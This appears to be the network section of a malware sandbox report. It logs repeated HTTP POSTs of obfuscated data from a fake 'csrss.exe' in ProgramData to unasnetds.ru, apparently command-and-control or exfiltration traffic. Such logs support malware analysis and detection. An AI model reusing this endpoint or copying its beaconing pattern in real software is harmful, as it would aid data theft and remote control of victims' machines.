Jan 3, 2025 11:48:14.924746990 CET	1732	OUT	Data Raw: 5a 53 5b 58 58 58 55 51 5a 5d 59 57 59 5a 5b 5b 5f 52 54 5f 50 5f 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZS[XXXUQZ]YWYZ[[_RT_P_[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$\:?5#;,4#'Z<8&();W2>!7!%?_(:= \'%^.0
Jan 3, 2025 11:48:15.141387939 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:15.308762074 CET	948	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OuolWEPr71taXwemiqD7KRrbPpdH0w4nZqPAPEphDzkm5Ibu6KGCFzo82wcRnzsVUPGIU5RHfvoGAEkT24ioau2bdre%2BxtFwTpYudUp5dQcQNs%2FIs0W9AXZMcA7d9iM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a5658276a56-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=45779&min_rtt=44827&rtt_var=18715&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2077&delivery_rate=27836&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 21 5c 20 58 2f 58 26 39 20 0c 33 04 3e 0a 35 51 32 5f 39 00 3d 15 33 2f 24 0f 2a 2a 3b 55 27 3f 32 02 2a 2b 31 57 25 05 39 1c 31 39 2e 59 0d 11 38 5c 3f 2f 28 0f 2a 00 30 50 29 06 3c 41 30 3c 20 13 29 2b 30 01 3e 22 28 52 23 2f 39 19 29 21 32 0e 3d 1a 21 5f 29 0c 3c 04 27 35 2c 5e 0b 12 24 54 2b 21 25 11 34 1f 25 15 32 13 23 5d 27 5c 3c 0b 22 0a 20 53 24 02 20 17 38 0c 0b 14 31 09 37 01 3d 38 2b 03 23 28 2a 56 28 3d 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98!\ X/X&9 3>5Q2_9=3/$*;U'?2+1W%919.Y8\?/(0P)<A0< )+0>"(R#/9)!2=!_)<'5,^$T+!%4%2#]'\<" S$ 817=8+#(V(='P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	51756	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:14.599843979 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:14.955940962 CET	1040	OUT	Data Raw: 5a 52 5b 50 58 5c 50 5b 5a 5d 59 57 59 56 5b 55 5f 57 54 5e 50 54 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZR[PX\P[Z]YWYV[U_WT^PT[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$,?&"]?U#?$>8<(><;T1>"4.1Y \+?&= \'%^.
Jan 3, 2025 11:48:15.139863014 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	51762	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:15.443499088 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:15.799689054 CET	1040	OUT	Data Raw: 5a 5c 5e 5e 5d 59 55 5f 5a 5d 59 57 59 5a 5b 57 5f 53 54 5e 50 5f 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z\^^]YU_Z]YWYZ[W_ST^P_[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'92W!;0##8%.(?2?:#29T ?!28<>=> \'%^.0
Jan 3, 2025 11:48:15.900748014 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:16.163487911 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8FA8Kt%2FIwBQyl7ntGurK6%2F5O7Zl%2BXGv1CEVrLBlQy5yRoWbNrq7rq7G2gpxA4jijk55L4NJb03XnkA3MHfdIhiuulzFq5dMy2LK6W7hTk%2FH2Kvdea3ChvANlEv5yJmw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a5b1aed0c8e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4409&min_rtt=1517&rtt_var=6353&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=59217&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	51768	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:16.295885086 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:16.656009912 CET	1040	OUT	Data Raw: 5a 54 5e 59 5d 5e 55 50 5a 5d 59 57 59 5a 5b 52 5f 56 54 5b 50 55 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT^Y]^UPZ]YWYZ[R_VT[PU[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$],/"],7Z'.;Z>;![()'2>= .U%,'?,&*> \'%^.0
Jan 3, 2025 11:48:16.769610882 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:16.946964025 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2OxFT9RdteRXQe7uGbsgG2Be0TsP7EFqPLznLF7HwTQyvj115igrRjvHdV0%2BwRFyrDDu9J43e1YgunKf0nIb4KBiafU%2Be4KUMTZYr%2F0LbVCSfL%2BhKzU91Mb8EJ1wYhg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a608d0e43f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3531&min_rtt=1584&rtt_var=4489&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=85061&cwnd=193&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	51774	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:17.253982067 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:17.612185955 CET	1040	OUT	Data Raw: 5a 51 5e 5d 5d 5f 55 51 5a 5d 59 57 59 59 5b 57 5f 57 54 5f 50 5f 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZQ^]]_UQZ]YWYY[W_WT_P_[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$-/>W"8?R73 '.+Z(]=_+9Q&=)7<>W'?<&]>> \'%^.
Jan 3, 2025 11:48:17.684739113 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:17.955997944 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yAwu3jfbT0Lgb0WHjrDjjXS4JqU23jAZRpeYJQMmbwACaRzOccU84%2B6yROqIZehs%2Bomjm2SItLPqcHAnFLhvHqfhGyOsngY6id%2BXjOkZPwAGVFIJY9xEUFLVdB8ZBSo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a664eed7d0c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4420&min_rtt=1973&rtt_var=5634&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=67749&cwnd=155&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	51781	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:18.083982944 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:18.440505028 CET	1040	OUT	Data Raw: 5a 57 5b 50 5d 5c 55 5b 5a 5d 59 57 59 57 5b 56 5f 54 54 5b 50 59 5b 5a 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZW[P]\U[Z]YWYW[V_TT[PY[ZZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$[:"#;< ,''(![?*3P'.%#Y:Q'/<>]= \'%^.
Jan 3, 2025 11:48:18.577318907 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:18.827174902 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ly%2BtjAmU%2F%2FKD2zxLEgwt0VCLi4pSBqOzV0s5leJqEqFMWiMtZp437NaN7sSQsE6HQUU0t51LgURj3JanDJUsffhg6sVKPvIMmpzQfiBWrvEeZ6sTG6lzXSKYWXJHrwo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a6bdbd34308-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3881&min_rtt=1576&rtt_var=5202&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=72919&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	51786	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:19.147802114 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:19.505906105 CET	1040	OUT	Data Raw: 5f 56 5e 5d 58 59 55 5c 5a 5d 59 57 59 5d 5b 51 5f 56 54 58 50 5f 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V^]XYU\Z]YWY][Q_VTXP_[\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$Z..R!]843;_'='<99+Q2=7<.V&,#(!. \'%^.,
Jan 3, 2025 11:48:19.594110966 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:19.853876114 CET	807	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QFQ2bhTnLbIzGqEttX33f50Y2Bf5kOF%2FELFka%2BXC3YBVNkKmJLN1cd52RB7K7q6F%2FXteZXj%2F8idvLTrX%2BlOHdGZiytAHZW1uDtwa2wAUeC%2Fryv7%2FT2tjt0bIiB6FHbI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a7239cf5589-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2227&min_rtt=1692&rtt_var=1705&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=244392&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	51794	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:20.309695959 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	51795	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:20.358177900 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:20.706110954 CET	1732	OUT	Data Raw: 5a 50 5b 5f 5d 5f 50 5b 5a 5d 59 57 59 5d 5b 55 5f 55 54 54 50 59 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZP[_]_P[Z]YWY][U_UTTPY[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]-2T5] !0'0>++!()%="#/2&?0<?"). \'%^.,
Jan 3, 2025 11:48:20.780677080 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:20.991914034 CET	947	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2esOeZtwAU6lAprpRHI4kaHx2HnmfK9HcelpyFY7tPBUsIOimP9lG9FtgAD5MGH%2BZWtHwsxXw%2BdmF5vqB0UQXf7%2Bg8T6tFy4PE8FSJEwfF3QZp4diA7Y1BkV3UpS4Vw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a799d1f426a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3753&min_rtt=1717&rtt_var=4717&sent=4&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2077&delivery_rate=81061&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 22 03 34 07 37 59 24 5f 3f 55 24 3a 29 51 36 0e 31 00 2c 3a 2e 03 30 3c 3f 57 2a 17 09 53 30 3c 21 1d 3e 3b 21 19 31 02 3e 03 32 39 2e 59 0d 11 3b 03 2b 05 2f 56 3d 17 24 12 3e 01 0e 0b 33 3c 24 1c 29 05 24 00 3c 32 0e 10 20 2f 36 0d 29 32 2d 12 2a 24 0c 05 29 1c 27 11 25 0f 2c 5e 0b 12 24 1f 3f 0f 0b 54 34 1f 3d 1a 32 03 28 02 24 29 2f 52 21 20 20 52 24 05 09 00 2d 32 04 09 25 37 0e 59 2a 5e 23 04 22 28 3d 09 2b 17 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98"47Y$_?U$:)Q61,:.0<?WS0<!>;!1>29.Y;+/V=$>3<$)$<2 /6)2-$)'%,^$?T4=2($)/R! R$-2%7Y*^#"(=+'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	51796	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:20.509289980 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:20.862329006 CET	1040	OUT	Data Raw: 5a 52 5b 5c 5d 53 55 5d 5a 5d 59 57 59 5a 5b 51 5f 54 54 59 50 58 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZR[\]SU]Z]YWYZ[Q_TTYPX[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$X9/R";3#33'-+[<;9](;T2-T#Q%<3</%+> \'%^.0
Jan 3, 2025 11:48:20.965610027 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:21.135346889 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L%2FCEIvPbCoebp7vsXPVKMMGvn5ZNZ5r%2F58xfdq9ojybxRsGDRYdlN%2BQmwbgshcBHdenjJj3UdS74DUuvSPcWJRmG2uNBesgoeFnoarqjJoFTOJaE1DfMxfKuMd7gFBY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a7acaddf78d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4153&min_rtt=1460&rtt_var=5934&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=63461&cwnd=117&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	51802	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:21.267908096 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:21.612314939 CET	1040	OUT	Data Raw: 5a 54 5b 5a 5d 5c 55 5e 5a 5d 59 57 59 5a 5b 57 5f 5a 54 5a 50 5c 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT[Z]\U^Z]YWYZ[W_ZTZP\[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$,?%6;843/'X0<+)])'P'>1#?V%?(=<.Y). \'%^.0
Jan 3, 2025 11:48:21.719422102 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:21.889369965 CET	810	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EbLETP3xoS01s%2Bd%2FH7DBEz3v04GO81UUZKKlUf6L22tT9vkYjjI6jOrOgm%2FiPP%2Bz%2Fjkjg%2BXINwmjels%2F5U762HLvUH9jBD5dZh9N9DNmr%2BWmbcK4DgFaQhJfMuf%2Fmps%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a7f7d760f7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3373&min_rtt=1477&rtt_var=4346&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=87714&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	51808	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:22.018821955 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
